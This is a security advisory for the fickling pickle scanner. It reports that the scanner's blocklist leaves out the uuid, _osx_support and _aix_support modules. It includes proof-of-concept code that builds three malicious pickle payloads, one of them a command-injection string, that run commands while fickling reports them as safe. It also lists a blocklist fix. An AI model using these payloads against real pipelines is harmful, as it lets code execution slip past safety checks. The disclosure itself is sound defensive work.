PT-2026-25514 · Pypi · Fickling

Published

2026-03-04

·

Updated

2026-03-04

CVSS v4.0

8.9

High

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Assessment

The modules uuid, osx support and aix support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

Original report

Summary

fickling's UNSAFE IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, osx support, and aix support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

  • fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE IMPORTS (86 modules) does not include:
ModuleRCE FunctionInternal MechanismImportable On
uuid get command stdout(cmd, *args)subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)All platforms
osx support read output(cmdstring)os.system(cmd) via temp fileAll platforms
osx support find build tool(toolname)Command injection via %s in read output("/usr/bin/xcrun -find %s" % toolname)All platforms
aix support read cmd output(cmdstring)os.system(cmd) via temp fileAll platforms
Critical note: Despite the names osx support and aix support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

  1. NonStandardImports: These are stdlib modules, so is std module() returns True → not flagged
  2. UnsafeImports: Module names not in UNSAFE IMPORTS → not flagged
  3. OvertlyBadEvals: Function names added to likely safe imports (stdlib) → skipped
  4. UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

python
from fickling.fickle import (
  Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
  TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check safety
import struct, pickle

frame data = b"x95" + struct.pack("<Q", 60)

# uuid. get command stdout — works on ALL platforms
uuid payload = Pickled([
  Proto(4),
  Frame(struct.pack("<Q", 60), data=frame data),
  ShortBinUnicode("uuid"),
  ShortBinUnicode(" get command stdout"),
  StackGlobal(),
  ShortBinUnicode("echo"),
  ShortBinUnicode("PROOF OF CONCEPT"),
  TupleTwo(),
  Reduce(),
  EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
  Build(),
  Stop(),
])

# aix support. read cmd output — works on ALL platforms
aix payload = Pickled([
  Proto(4),
  Frame(struct.pack("<Q", 60), data=frame data),
  ShortBinUnicode(" aix support"),
  ShortBinUnicode(" read cmd output"),
  StackGlobal(),
  ShortBinUnicode("echo PROOF OF CONCEPT"),
  TupleOne(),
  Reduce(),
  EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
  Build(),
  Stop(),
])

# osx support. find build tool — command injection via %s
osx payload = Pickled([
  Proto(4),
  Frame(struct.pack("<Q", 60), data=frame data),
  ShortBinUnicode(" osx support"),
  ShortBinUnicode(" find build tool"),
  StackGlobal(),
  ShortBinUnicode("x; echo INJECTED #"),
  TupleOne(),
  Reduce(),
  EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
  Build(),
  Stop(),
])

# All three: fickling reports LIKELY SAFE
for name, p in [("uuid", uuid payload), ("aix", aix payload), ("osx", osx payload)]:
  result = check safety(p)
  print(f"{name}: severity={result.severity}, issues={len(result.results)}")
  # Output: severity=Severity.LIKELY SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid payload.dumps()) # prints PROOF OF CONCEPT

Verified Output

$ python3 poc.py
uuid: severity=Severity.LIKELY SAFE, issues=0
aix: severity=Severity.LIKELY SAFE, issues=0
osx: severity=Severity.LIKELY SAFE, issues=0
PROOF OF CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE IMPORTS in fickling:
python
"uuid",
" osx support",
" aix support",
Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

  • Python source: Lib/uuid.py lines 156-168 ( get command stdout)
  • Python source: Lib/ osx support.py lines 35-52 ( read output), lines 54-68 ( find build tool)
  • Python source: Lib/ aix support.py lines 14-30 ( read cmd output)
  • fickling source: analysis.py UNSAFE IMPORTS set

Fix

Incomplete List of Disallowed Inputs

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-5HWF-RC88-82XM

Affected Products

Fickling